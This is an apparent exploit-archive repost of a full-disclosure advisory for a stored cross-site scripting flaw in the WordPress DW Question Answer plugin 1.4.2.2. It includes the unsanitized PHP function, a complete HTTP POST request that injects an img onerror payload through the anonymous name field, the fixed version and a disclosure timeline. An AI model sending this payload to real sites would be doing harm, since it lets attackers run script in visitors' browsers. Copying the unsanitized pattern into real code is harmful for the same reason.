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WordPress DW Question Answer 1.4.2.2 Cross Site Scripting

WordPress DW Question Answer 1.4.2.2 Cross Site Scripting
Posted Mar 12, 2016
Authored by Rahul Pratap Singh

WordPress DW Question Answer plugin version 1.4.2.2 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | bb55a41465b6a864e68a15fffd502412

WordPress DW Question Answer 1.4.2.2 Cross Site Scripting

Change Mirror Download
## FULL DISCLOSURE

#Product : DW Question Answer
#Exploit Author : Rahul Pratap Singh
#Version : 1.4.2.2
#Home page Link : https://wordpress.org/plugins/dw-question-answer/
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 11/3/2016

XSS Vulnerability:

----------------------------------------
Description:
----------------------------------------
"_dwqa_anonymous_name" parameter is not sanitized that leads to Stored XSS.

----------------------------------------
Vulnerable Code:
----------------------------------------

User.php

function dwqa_get_author( $post_id = false ) {
if ( !$post_id ) {
$post_id = get_the_ID();
}

$display_name = false;
if ( dwqa_is_anonymous( $post_id ) ) {
$anonymous_name = get_post_meta( $post_id, '_dwqa_anonymous_name', true );
if ( $anonymous_name ) {
$display_name = $anonymous_name;
} else {
$display_name = __( 'Anonymous', 'dwqa' );
}
} else {
$user_id = get_post_field( 'post_author', $post_id );
$display_name = get_the_author_meta( 'display_name', $user_id );
}

return apply_filters( 'dwqa_get_author', $display_name, $post_id );
}
----------------------------------------
Exploit:
----------------------------------------

POST /index.php/dwqa-ask-question/ HTTP/1.1

question-title=abc&question-content=%3Cp%3Eabc%3C%2Fp%3E&question-category=2&question-tag=abc&_dwqa_anonymous_email=
abc%40gmail.com&_dwqa_anonymous_name=%22%3E%3Cimg+src%3Dx+
onerror%3Dalert%281%29%3E%3C%21--&_wpnonce=
3164a8f439&_wp_http_referer=%2Fwp442%2Findex.php%2Fdwqa-ask-question%2F&dwqa-question-submit=Submit

----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/03/dwqa_stored_xss.png

Fix:
Update to 1.4.2.3

Vulnerability Disclosure Timeline:
→ March 3, 2016 – Bug discovered, initial report to WordPress
→ March 7, 2016 – No response, Report sent again.
→ March 8, 2016 – WordPress response, plugin taken down
→ March 11, 2016 – Vendor deployed a patch

#######################################
# CTG SECURITY SOLUTIONS #
# www.ctgsecuritysolutions.com #
#######################################

Pub Ref:
https://wordpress.org/plugins/dw-question-answer/changelog/

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